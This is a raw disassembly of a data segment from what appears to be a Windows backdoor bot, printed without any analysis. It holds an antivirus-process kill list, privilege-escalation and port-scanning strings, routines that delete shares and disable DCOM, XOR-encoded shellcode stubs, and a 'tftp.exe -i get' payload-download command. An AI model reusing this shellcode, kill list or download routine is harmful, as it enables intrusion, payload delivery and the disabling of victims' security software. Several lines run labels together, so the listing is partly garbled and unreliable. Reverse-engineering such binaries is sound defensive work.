aAlertsvc_exe	db 'ALERTSVC.EXE',0     ; DATA XREF: seg001:0043462Co
		align 4
aAgentw_exe	db 'AGENTW.EXE',0       ; DATA XREF: seg001:00434628o
		align 4
aAgentsvr_exe	db 'AGENTSVR.EXE',0     ; DATA XREF: seg001:00434624o
		align 4
aAdvxdwin_exe	db 'ADVXDWIN.EXE',0     ; DATA XREF: seg001:00434620o
		align 4
aAdaware_exe	db 'ADAWARE.EXE',0      ; DATA XREF: seg001:0043461Co
aAckwin32_exe	db 'ACKWIN32.EXE',0     ; DATA XREF: seg001:off_434618o
		align 10h
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4123B8+191o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4123B8+5Ao
					; sub_4123B8+1F3o
		align 10h
unk_4370F0	db    2			; DATA XREF: sub_4125E7:loc_41266Eo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 72h
		db  6Fh	; o
		db 63h,	65h, 73h
		db  73h	; s
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aProcessListFai	db ' Process list failed.',0
		align 4
unk_437128	db    2			; DATA XREF: sub_4125E7+80o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 72h
		db  6Fh	; o
		db 63h,	65h, 73h
		db  73h	; s
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aProcessListCom	db ' Process list completed.',0
		align 4
unk_437164	db    2			; DATA XREF: sub_4125E7+19o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 72h
		db  6Fh	; o
		db 63h,	65h, 73h
		db  73h	; s
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aListingProcess	db ' Listing processes:',0
aConst		db 'const',0
		align 10h
		dd 0
dword_4371A4	dd 1		off_4371A8	dd offset sub_41274C	; DATA XREF: sub_412AB7+49r
aLetter		db 'letter',0
		align 8
		dd 2, 4127AAh, 706D6F63h, 2 dup(0)
		dd 3, 4127F7h, 6E756F63h, 797274h, 0
		dd 4, 412895h, 736Fh, 2	dup(0)
		dd 5, 41290Ah
dword_4371FC	dd 69257325h, 0						; seg001:00412876o ...
byte_437204	db 50h			; DATA XREF: seg001:00412819o
					; seg001:00412826r
		db 43h,	2 dup(0)
dword_437208	dd 7C7325h						; sub_412AB7+39o
dword_43720C	dd 5D73255Bh, 7Chdword_437214	dd 334B32h	dword_437218	dd 5D64255Bh, 7325hoff_437220	dd offset byte_5D4D5B	; DATA XREF: sub_412A14+2Co
					; sub_412A14+57o
unk_437224	db    2			; DATA XREF: sub_412B20+92o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 10h
unk_437260	db    2			; DATA XREF: sub_412BED+41o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 10h
		dd 1D4C0h
		align 8
off_4372A8	dd offset dword_4372E0	; DATA XREF: seg001:00412E91o
		align 10h
		dd offset dword_4372D8
		align 8
		dd offset dword_4372D4
		dd offset off_4372D0
		dd offset dword_4372CC
		dd offset off_4372C8
off_4372C8	dd offset dword_5C3A44	; DATA XREF: seg001:00412EF5o
					; seg001:004372C4o
dword_4372CC	dd 2444h	off_4372D0	dd offset byte_5C3A43	; DATA XREF: seg001:004372BCo
dword_4372D4	dd 2443h	dword_4372D8	dd 494D4441h, 244Ehdword_4372E0	dd 24435049h, 0			dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aNetapi32_dllCo	db '  Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_437328	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: seg001:00412FADo
		dd 2029671Fh, 2BBBB02h
aNetworkSharesD	db '  Network shares deleted.',0
		align 10h
dword_437360	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: seg001:loc_412F40o
		dd 2029671Fh, 2BBBB02h
aFailedToDelete	db '  Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43739C	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: seg001:00412F39o
		dd 2029671Fh, 2BBBB02h
aShareSDeleted_	db '  Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_4373D0	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: seg001:loc_412EADo
		dd 2029671Fh, 2BBBB02h
aFailedToDele_0	db '  Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43740C	dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
					; DATA XREF: seg001:00412EA6o
		dd 2029671Fh, 2BBBB02h
aShareSDelete_0	db '  Share ',27h,'%s',27h,' deleted.',0
		align 10h
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aAdvapi32_dllCo	db '  Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aFailedToOpenIp	db '  Failed to open IPC$ Restriction registry key.',0
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aRestrictedAcce	db '  Restricted access to the IPC$ Share.',0
		align 10h
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aFailedToRestri	db '  Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0
		align 10h
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 6E65706Fh, 4F434420h, 6572204Dh, 74736967h, 6B207972h
		dd 2E7965h, 5B027302h, 5D1F491Fh, 65732820h, 65727563h
		dd 6C1F702Eh, 2029671Fh, 2BBBB02h, 43442020h, 64204D4Fh
		dd 62617369h, 2E64656Ch, 0
		dd 5B027302h, 5D1F491Fh, 65732820h, 65727563h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h
aDisableDcomFai	db '  Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0
		align 10h
		dw 4Eh
		align 4


loc_437624:				; DATA XREF: sub_4131B7+C4o
		jmp	short loc_437628
; ---------------------------------------------------------------------------


loc_437626:				; CODE XREF: seg001:loc_437628p
		jmp	short loc_43762D
; ---------------------------------------------------------------------------


loc_437628:				; CODE XREF: seg001:loc_437624j
		call	loc_437626


loc_43762D:				; CODE XREF: seg001:loc_437626j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_437632	dw 0FFFFh		; DATA XREF: sub_4131B7+CCw
		db 80h,	73h, 0Eh
byte_437637	db 0FFh			; DATA XREF: sub_4131B7+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_43763C:				; DATA XREF: sub_4131B7+A2o
		jmp	short loc_437640
; ---------------------------------------------------------------------------


loc_43763E:				; CODE XREF: seg001:loc_437640p
		jmp	short loc_437645
; ---------------------------------------------------------------------------


loc_437640:				; CODE XREF: seg001:loc_43763Cj
		call	loc_43763E


loc_437645:				; CODE XREF: seg001:loc_43763Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_437649	db 0FFh			; DATA XREF: sub_4131B7+AAw
		dw 7380h
		db 0Ch
byte_43764D	db 0FFh			; DATA XREF: sub_4131B7+B0w
		dw 0E243h
		dd 0F9h
dword_437654	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_413040+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4376B8	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_413040+79o
aJ_0		db 'j',0
		db 0E8h
dword_4376D1	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4376D8
		retn
; ---------------------------------------------------------------------------
byte_4376D8	db 0E8h			; CODE XREF: seg001:004376D5j
dword_4376D9	dd 1		byte_4376DD	db 0, 6Ah, 0		; DATA XREF: sub_413040+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4376E7	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_41337B+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_41354C+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_41354C+35o
dword_437768	dd 0BB0A53h			align 10h
dword_437770	dd 173Fh			dd 9875h, 9873h
off_43777C	dd offset sub_41407D	; DATA XREF: sub_415C5Cr
		dd offset nullsub_2
		dd offset nullsub_2
dword_437788	dd 1B3Fh	dword_43778C	dd 19930520h, 4	dup(0)					; sub_414582+2o
off_4377A0	dd offset sub_415C9A	; DATA XREF: sub_415F07+1Cr
dword_4377A4	dd 2							; sub_41B235+46r ...
off_4377A8	dd offset aNull		; DATA XREF: sub_416065:loc_4163C9r
					; sub_416065+457r
					; "(null)"
off_4377AC	dd offset off_41F6D8	; DATA XREF: sub_416065+259r
off_4377B0	dd offset word_4377BA	; DATA XREF: sub_413CF4+23r
					; sub_413CF4:loc_413D55r ...
		dd offset word_4377BA
		db 2 dup(0)
word_4377BA	dw 20h			; DATA XREF: sub_41C9E0+18r
					; seg001:off_4377B0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4379BC	dd 1							; sub_413CF4:loc_413D40r ...
byte_4379C0	db 2Eh			; DATA XREF: sub_417D94:loc_417DD4r
					; sub_417DEE+4r ...
		align 4
		dd 1, 10h
dword_4379CC	dd 3F8h							; sub_4157BF+4Dr ...
dword_4379D0	dd 14h		off_4379D4	dd offset off_41F7A0	; DATA XREF: sub_417ADD:loc_417AFAr
		dd 1Dh,	41F79Ch, 1Ah, 41F798h, 1Bh, 41F790h, 1Fh, 41F788h
		dd 13h,	41F780h, 21h, 41F778h, 0Eh, 41F770h, 0Dh, 41F768h
		dd 0Fh,	41F760h, 10h, 41F758h, 5, 41F750h, 1Eh,	41F74Ch
		dd 12h,	41F748h, 20h, 41F744h, 0Ch, 41F73Ch, 0Bh, 41F734h
		dd 15h,	41F72Ch, 1Ch, 41F724h, 19h, 41F71Ch, 11h, 41F714h
		dd 18h,	41F70Ch, 16h, 41F704h, 17h, 41F6FCh, 22h, 41F6F8h
		dd 23h,	41F6F4h, 24h, 41F6F0h
dbl_437AA8	dq 1.797693134862316e308 ; DATA	XREF: sub_417818+B7r
					; sub_417818:loc_4178FFr ...
		dd 0
		dd 0FFF80000h
dbl_437AB8	dq 1.797693134862316e308 ; DATA	XREF: sub_417818+92r
					; sub_417818:loc_4178D7r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_437AD0	dt 2.3562723457267347066e313 ; DATA XREF: sub_417CC5+Dr
					; sub_417CC5+1Fr
		align 4
tbyte_437ADC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_417CC5+31r
		align 4
off_437AE8	dd offset sub_418159	; DATA XREF: sub_414095+Fw
					; sub_416065+3AAr
off_437AEC	dd offset sub_417DEE	; DATA XREF: sub_414095+5w
					; sub_416065+3E2r
off_437AF0	dd offset sub_417E54	; DATA XREF: sub_414095+14w
					; sub_418BBD+430r
off_437AF4	dd offset sub_417D94	; DATA XREF: sub_414095+1Ew
					; sub_416065+3CBr
off_437AF8	dd offset sub_417E3C	; DATA XREF: sub_414095+28w
off_437AFC	dd offset sub_418159	; DATA XREF: sub_414095+32w
		dd offset sub_41BD4B
		align 10h
		dd offset sub_418A1C
off_437B14	dd offset sub_418A1C	; DATA XREF: sub_418A72+29r
dword_437B18	dd 0D2D0920h, 5Dhdword_437B20	dd 5Dh,	0	byte_437B28	db 1			; DATA XREF: sub_41A213+E1r
		db 2, 4, 8
		align 10h
dword_437B30	dd 3A4h		dword_437B34	dd 82798260h, 21h, 0dword_437B40	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_437C20	dd 1							; sub_41A82A+Co
dword_437C24	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_437D88	dd 0C0000005h						; sub_41AA9C+Ar ...
dword_437D8C	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_437E00	dd 3							; sub_41D474+C8r
dword_437E04	dd 7							; sub_41D474+CDr
dword_437E08	dd 0Ah							; sub_41D5A1+4r
dword_437E0C	dd 8Ch							; sub_41A95B+8Fw ...
dword_437E10	dd 0FFFFFFFFh, 0A00h					; sub_41991B:loc_41999Co
dword_437E18	dd 2							; sub_41B235+28r
off_437E1C	dd offset aR6002FloatingP ; DATA XREF: sub_41B235+FCr
					; sub_41B235+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41FABCh, 9, 41FA90h, 0Ah,	41FA6Ch, 10h, 41FA40h
		dd 11h,	41FA10h, 12h, 41F9ECh, 13h, 41F9C0h, 18h, 41F988h
		dd 19h,	41F960h, 1Ah, 41F928h, 1Bh, 41F8F0h, 1Ch, 41F8C8h
		dd 78h,	41F8B8h, 79h, 41F8A8h, 7Ah, 41F898h, 0FCh, 425144h
		dd 0FFh, 41F888h
off_437EA8	dd offset dword_742520	; DATA XREF: sub_41B235+1Bo
					; sub_41B3F2+55o
		align 10h
		dd offset dword_742520
		dd 101h
dword_437EB8	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_437EC8	dd 3 dup(0)						; sub_41A891+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_437EE8	dd 3 dup(0)						; sub_41A891:loc_41A8AFo
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_437F18	dd 84h dup(0)	dword_438128	dd 2694h						; sub_4174CD+46r ...
		align 10h
dword_438130	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_438148	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_438160	dd 7080h						; sub_41BFB2+5Ew ...
dword_438164	dd 1							; sub_41BFB2+8Bw ...
dword_438168	dd 0FFFFF1F0h						; sub_41BFB2+94w ...
off_43816C	dd offset dword_545350	; DATA XREF: seg001:off_4381ECo
		dd 0Fh dup(0)
off_4381AC	dd offset dword_544450	; DATA XREF: seg001:off_4381F0o
		dd 0Fh dup(0)
off_4381EC	dd offset off_43816C	; DATA XREF: sub_41BFB2+BAr
					; sub_41BFB2+D9r ...
off_4381F0	dd offset off_4381AC	; DATA XREF: sub_41BFB2+F4r
					; sub_41BFB2+11Br ...
		align 8
dword_4381F8	dd 0FFFFFFFFh						; sub_41C210+1Er ...
dword_4381FC	dd 0							; sub_41C3BC+BFw
dword_438200	dd 0							; sub_41C3BC+E0w
		align 8
dword_438208	dd 0FFFFFFFFh						; sub_41C210+26r ...
dword_43820C	dd 0							; sub_41C3BC+EAw ...
dword_438210	dd 0							; sub_41C3BC+23r ...
dword_438214	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_438244	dd 16Dh							; sub_41C3BC+2Er ...
dword_438248	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_438280	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4383E0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41D9C9+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_438540	dd offset off_41FCAC	; DATA XREF: seg001:off_41FCD0o
					; seg001:0041FDFCo ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_438558	dd offset off_41FCAC	; DATA XREF: seg001:off_41FCE8o
					; seg001:0041FD7Co ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_438578	dd offset off_41FCAC	; DATA XREF: seg001:off_41FD00o
					; seg001:0041FD44o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_438598	dd offset off_41FCAC	; DATA XREF: seg001:off_41FD88o
					; seg001:0041FDCCo ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_4385C0	dd offset off_41FCAC	; DATA XREF: seg001:off_41FE08o
					; seg001:0041FE44o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41BD4B
		align 10h
byte_4385E0	db 0			; DATA XREF: sub_401447+1D4w
					; sub_401447+2D7o
		align 2
word_4385E2	dw 0			; DATA XREF: sub_401447+1E4w
word_4385E4	dw 0			; DATA XREF: sub_401447+1EAw
word_4385E6	dw 0			; DATA XREF: sub_401447+1F3w
byte_4385E8	db 0			; DATA XREF: sub_401447+1FAw
byte_4385E9	db 0			; DATA XREF: sub_401447+201w
word_4385EA	dw 0			; DATA XREF: sub_401447+208w
dword_4385EC	dd 0							; sub_401447+256w
dword_4385F0	dd 0		byte_4385F4	db 0			; DATA XREF: sub_401447+270w
byte_4385F5	db 0			; DATA XREF: sub_401447+283w
word_4385F6	dw 0			; DATA XREF: sub_401447+29Bw
word_4385F8	dw 0			; DATA XREF: sub_401447+2ACw
word_4385FA	dw 0			; DATA XREF: sub_401447+2A2w
dword_4385FC	dd 102h	dup(0)	dword_438A04	dd 2 dup(0)	dword_438A0C	dd 0							; sub_40CC09+55AAo ...
byte_438A10	db 0			; DATA XREF: sub_402E8D+10o
					; sub_403C2B+1CBo ...
		align 4
dword_438A14	dd 0							; sub_4047DA+51r ...
dword_438A18	dd 0							; sub_4039C9+90r ...
		align 10h
dword_438A20	dd 0							; sub_406435+92w ...
dword_438A24	dd 0							; sub_406782+D9w ...
		dd 334Ah dup(0)
dword_445750	dd 1AD4h dup(0)	dword_44C2A0	dd 6 dup(0)						; sub_40656E+138o ...
dword_44C2B8	dd 0							; sub_406059+102o
dword_44C2BC	dd 41h dup(0)	dword_44C3C0	dd 41h dup(0)	dword_44C4C4	dd 0							; sub_406059+114r
dword_44C4C8	dd 0		dword_44C4CC	dd 0							; sub_406059+CFr
dword_44C4D0	dd 20h dup(0)						; sub_406059+BAo
dword_44C550	dd 0		dword_44C554	dd 0							; sub_406059+C7w
dword_44C558	dd 0				align 10h
dword_44C560	dd 0							; sub_406059+32Eo
dword_44C564	dd 0A2h	dup(0)	dword_44C7EC	dd 41h dup(0)	dword_44C8F0	dd 0							; sub_406059+2E1r
		align 8
dword_44C8F8	dd 0							; sub_406059+340r
dword_44C8FC	dd 0		dword_44C900	dd 0		dword_44C904	dd 0				dd 0
dword_44C90C	dd 0		dword_44C910	dd 0							; sub_406059+221o
dword_44C914	dd 41h dup(0)	dword_44CA18	dd 41h dup(0)	dword_44CB1C	dd 0							; sub_406059+233r
dword_44CB20	dd 0		dword_44CB24	dd 0		dword_44CB28	dd 20h dup(0)						; sub_406059+1D9o
dword_44CBA8	dd 0		dword_44CBAC	dd 0							; sub_406059+1E6w
dword_44CBB0	dd 0				align 8
dword_44CBB8	dd 77F16E6Fh	; resolved to->GDI32.DeleteDC					; sub_4073B6+473r
dword_44CBBC	dd 7C864230h	; resolved to->KERNEL32.Module32First					; sub_4123B8+166r
dword_44CBC0	dd 42C5AE03h	; resolved to->WININET.InternetGetConnectedStateExA					; sub_4073B6+808r ...
dword_44CBC4	dd 5B894364h						; sub_4073B6+9BEr ...
dword_44CBC8	dd 5B86FEB8h						; sub_4073B6+98Er ...
dword_44CBCC	dd 77F15B80h	; resolved to->GDI32.SelectObject					; sub_4073B6+463r
dword_44CBD0	dd 5B894160h						; sub_4073B6+9B6r ...
dword_44CBD4	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_4073B6+34Fr ...
dword_44CBD8	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_4093C1+11Er
dword_44CBDC	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceA					; sub_4073B6+357r ...
dword_44CBE0	dd 77DFCF32h	; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_40B929+ADr
dword_44CBE4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet					; sub_4072B6+7Dr ...
dword_44CBE8	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4073B6+D2r ...
dword_44CBEC	dd 5B86FDE8h						; sub_4073B6+981r ...
dword_44CBF0	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_4073B6+36Fr ...
dword_44CBF4	dd 42C41384h	; resolved to->WININET.InternetCrackUrlA					; sub_4073B6+834r
dword_44CBF8	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_4073B6+27Cr
dword_44CBFC	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_4073B6+82Cr ...
dword_44CC00	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequencydword_44CC04	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_4073B6+83Cr ...
dword_44CC08	dd 71AC0979h	; resolved to->WS2_32.WSAAsyncSelect					; sub_4073B6+4D5w ...
dword_44CC0C	dd 7C863F58h	; resolved to->KERNEL32.Process32Next					; sub_4073B6+CAr ...
dword_44CC10	dd 76D64B79h	; resolved to->IPHLPAPI.IcmpSendEcho					; sub_408B03+11Ar
dword_44CC14	dd 76F3798Ah	; resolved to->DNSAPI.DnsFlushResolverCache					; sub_4073B6+A13r ...
dword_44CC18	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4073B6+F2r
dword_44CC1C	dd 77F1AC3Dh	; resolved to->GDI32.GetDIBColorTable					; sub_4073B6+45Br
dword_44CC20	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_4073B6+57Ew ...
dword_44CC24	dd 5B8A3009h						; sub_4073B6+9AEr
dword_44CC28	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4073B6+571w ...
dword_44CC2C	dd 71B25099h	dword_44CC30	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; sub_4073B6+7F5r ...
dword_44CC34	dd 7E45A045h	; resolved to->USER32.ExitWindowsEx					; sub_4086DF+15r
dword_44CC38	dd 5B868E65h						; sub_4073B6+996r ...
